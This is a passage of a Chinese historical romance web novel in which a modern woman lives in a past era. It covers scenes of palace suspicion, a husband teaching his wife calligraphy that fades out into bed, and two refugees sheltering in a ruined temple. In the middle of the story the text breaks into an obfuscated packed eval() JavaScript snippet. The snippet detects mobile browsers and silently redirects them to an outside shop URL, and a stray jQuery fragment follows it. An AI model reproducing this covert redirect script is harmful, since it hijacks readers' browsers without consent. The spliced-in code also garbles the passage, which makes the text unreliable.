锦绣身上的冷汗直冒,他不确定方才自己与公子的对话被公主听去了多少,他诧异于公主走路如此无声无息,他竟然全然不知。
公主对伏在地上的锦绣可谓视而不见,径直越过他朝着谢文博走去:
“夫君,在看什么?”安乐饶有兴趣地看向他手中拿着的那本书。
谢文博颇有些僵硬地合上书,开口道:
“殿……夫人怎么过来了?”
“我来看自己的夫君,怎么,不可以吗?”安乐挑眉,将问题抛会给谢文博。
“……”
直到这时,安乐才“注意”到在地上纹丝不动的锦绣,故作惊讶地说:
“是锦绣啊,快起来吧。”
锦绣战战兢兢地起身准备退下,心中庆幸他终于可以逃过一劫时,安乐的声音骤然响起:
“等等,你们刚刚在聊些什么?也说给我听听呗。”
锦绣的心彻底被打入了地狱:她果然还是听到了。
—
绝尘和慕钰在午饭时分回到了家。
今日是慕云瑠做饭,她好久没做饭了,被慕钰养的太闲适了,这次做饭有些复健的感觉。
经过这些日子的相处,他们三人之间的羁绊逐渐加深,好像真的是一家人那样。
慕云瑠与绝尘情同姐妹,这很好地弥补了她之前在村中缺乏同性朋友的尴尬境地,绝尘并不在乎她的过去,或者说,她或许根本不认同这世间的某些规则。
从绝尘口中零散地得知她的过去后,慕云瑠也向她描述了自己、其实主要是原主的过往,她不想反复揭开伤疤,所以也只是用简短的几句话概括了之前的经历。
可她还是没忍住哭了出来,原主的悲伤和情绪实则早已在时间中淡化,被她的思想和理智所驯服;而她这次哭是因为她发觉身处这个时代的原主的人生竟只能用简短的几句话概括,这大概就是吃人的封建社会,这就是吃人的封建社会。
慕云瑠扬起泪眼,望向对面的绝尘,心说她何尝不与原主一样呢,命运一次次地将她推向深渊,可她还是坚强地反抗命运。
“这不怪你。”绝尘拭去她眼角的泪,“今后……总会好的。”她看向慕云瑠,眼神中闪烁着坚定。
慕云瑠怔住了,她未曾想到绝尘会给予如此回应,无意识睁大的双眼蓄住了泫然欲滴的泪珠:
她确信,她可以做到——慕云瑠想。
院门前熟悉的脚步声响起,慕云瑠暂且从过去的思绪中抽离出来,手上加快动作,将做好的午饭端出来。
“娘子,我们回来了,我给你带了东西回来。”慕钰拿出他今日买来的话本子,活像只开屏的孔雀,满脸写着“求夸奖”。
慕云瑠的目光落在了那几本话本子上,一眼便知确实是当下女子爱读的类型,她抬眼看向慕钰,说道:
“多谢夫君,我很喜欢。快点把东西放下,来吃饭吧。”
慕云瑠接过那几本书返回屋内,随手放在桌上就重新出来和他们一同吃饭。
如果说绝尘的到来让她重新体验到家的感觉,那唯一美中不足的是每到吃饭时都变成了慕云瑠最煎熬的时刻,先前只有慕钰和她两个人的时候还能偶尔聊些情侣之间的话题,如今绝尘的加入,她自然没脸在她面前和慕钰聊这个。没有现代的手机平板打发时间,再加之为生计奔波劳碌的日常不是能够生发出闲谈话题的土壤,总不好和真·古人聊点现代化议题,身旁的两人又一个赛一个地沉默,跟两个大木头桩子一样,宛如三个陌生人被迫凑一桌吃饭,搞得她一到吃饭时都如坐针毡。
她当然不会知道身旁的两人一个在宫中吃饭时甚少有聊天的环节,另一个嘛,甚至鲜有稳定吃饭的时候。
慕云瑠扒了两口白饭,眼神从两人身上绕了个圈,认命地回到了眼前的饭菜上。
“娘子。”慕钰忽然看向她。
“怎……怎么了?”
这是想到什么新鲜的破冰话题了。
慕云瑠看向他,杏眼中盛着新鲜出炉的意外和疑惑,慕钰压制住蹦到嘴边的“娘子真可爱”,吞了口口水后说出了他先前的打算:
“娘子,冬日漫漫,在家日久也总会无趣,不如我教你习字如何?”
“习字?”慕云瑠把紫云寺祈愿之事抛到九霄云外去了,疑问出声,思索了片刻后方想起此事。
就……真的只是习字吗,我怎么感觉有些不太妙。
她眼珠微转,不着痕迹地望向绝尘,为了保险起见,她试图为自己找个同学:
“绝尘会写字吗?不如我们一起学?”
“她会!!”
“我会!”
两人几乎是异口同声地喊出声来。
慕云瑠:?
慕钰惊觉自己的失言,可现实并不会给他撤回前言的机会,下一秒,慕云瑠的疑问如期而至:
“夫君怎么知道绝尘会写字的?我都不知道呢。”言外之意大抵是:我与她相处这么久都不得而知的事,你又是如何知晓的,非常明显的一道送命题。
慕钰也无愧于其太子的身份,面不改色地在极短的时间内扯出了一个看似合理的谎言来:
“入城后我们分开去采买,绝尘怕我遗漏,就把东西写在了纸上。”
完美地兼顾了慕云瑠的不在场性和事件的可能性,几乎是一个完美的谎言,然而谎言注定要用新的谎言去修补。
“你们哪儿来的纸笔啊,怎么不提前写好带过去。”
“是找我经常卖书哪儿的书肆老板借来的,去之前没想着分开采买,想赶在午饭之前回来,这才临时打算分开采买。”
“……好吧。”慕云瑠还是觉得哪里怪怪的,可又说不上来,毕竟眼前两个人除了都是捡来的,倒是没有过多的相似之处。
她也想不出旁的什么,只得偃旗息鼓,算是答允了他的提议,看看他葫芦里到底卖的是什么药。
月挂寒树梢时,慕钰果真开始了他的专属教学,偌大的木桌被整饬干净,慕钰平日里抄写的书稿都被叠放在一边,为她习字腾出一片地方来。
慕钰立在她身后,躬身伏在她耳边,一只手包裹住她执笔的手,轻缓地说道:
“凡学书字,先学执笔,若真书,去笔头二寸一分,若行草书,去笔头三寸一分,执之……”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999918|187413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
慕云瑠承认,是她要看葫芦里的药先不对的,对他的心思诚然有九分的了然,却还装作一窍不通,坦然上钩。
学了没一会儿,她就感觉到耳边喷洒的呼吸有些过分灼热了,看似正常的教学姿势,不知何时变得仿佛像是在邀请她、蛊惑她吻上那两片开合的唇瓣。
而他似乎丝毫没有意识到这些,用投入的、纯粹的教导悄悄地催化她心中的欲念,在克制不住吻上去的前一秒,她的脑海中浮现出一句:
我姑且是个女人啊!!!
结果自然不出所料,教着教着就到榻上去了……
慕云瑠有时候真的在想:慕钰每天抄的是什么正经书吗,不会是房中术吧?
—
慧娘和李德在荆州边界的破庙中平稳地度过了一段时光。
住有庙宇庇身,食有山中野味。
日子如常艰苦平淡,李德面对尚可过活的日子,便忘记了先前的豪情壮志,龟缩回了他老实人的壳子里。
破庙中的人走走留留,慧娘似乎也并不急着离开。
先前李德从未问过慧娘为何会以女子之身,孤身一人辗转千里来到荆州。
直到二人当真尘埃落定,他才敢开口试探一问她的目的和身份,这才得知慧娘竟就是荆州襄阳生人,此番回荆州,是再正常不过的投亲罢了,而至于她之前是如何到了豫州,则是由于她杂技艺人的身份。
慧娘幼时家中穷苦,父亲重病早逝,剩下孤儿寡母,相依为命。她的母亲带着她靠零碎的帮工和乞讨生活,最后不得已才把她送入马戏班练功学艺。因为她聪明伶俐,相貌出众,所以被马戏班收下。
在出师后之后,她便作为一个杂技演员开始了闯荡江湖的卖艺生涯,成为人们瞧不起的娼优之属。
后来在豫州卖艺期间,她得知了远在荆州的母亲去世的消息,这才动身前来,至于别的经历,慧娘缄口不言,李德哪怕满腹疑问,也识趣地不再追问了。
李德忽然明白了她的愤怒和机敏从何而来:女性娼优的身份,自小颠沛流离的生活,她见过和体验过的苦难和黑暗或许要远比他想象中的要多得多,这也解释了她为何敢孤身一人,和如狼似虎的难民们一同南下逃难,或许初见时窝头上的血,也有她的“功劳”在……
回想到这里,李德不禁打了个寒战,缩了缩脖颈,思索她会把大刀藏在哪儿。
就在他浮想联翩,担心哪天那柄大刀会落在自己脖颈上时,庙外传来了沉重又规律的脚步声,有不少人来了,不是难民——难不成是官府来人。
李德下意识就要避开,他现在面对当官之人如同惊弓之鸟,觉得他们来准没什么好事,不想惹的一身臊,只想躲得越远越好。
庙内空间有限,地上还或躺或坐挤满了其他难民,他哪怕脚步再快,也很难在一时半会内藏好。
他还未绕到那尊残破的佛像背后,那群人就走了进来,为首的人是一个穿着质朴的虬然汉子,面容干净,衣物也少有污损,果真不是逃难之人,他身后还跟着几个背着布包之人,闻味道,包里装的好像是食物,而走在最后的——俨然是今晨独自出门的慧娘。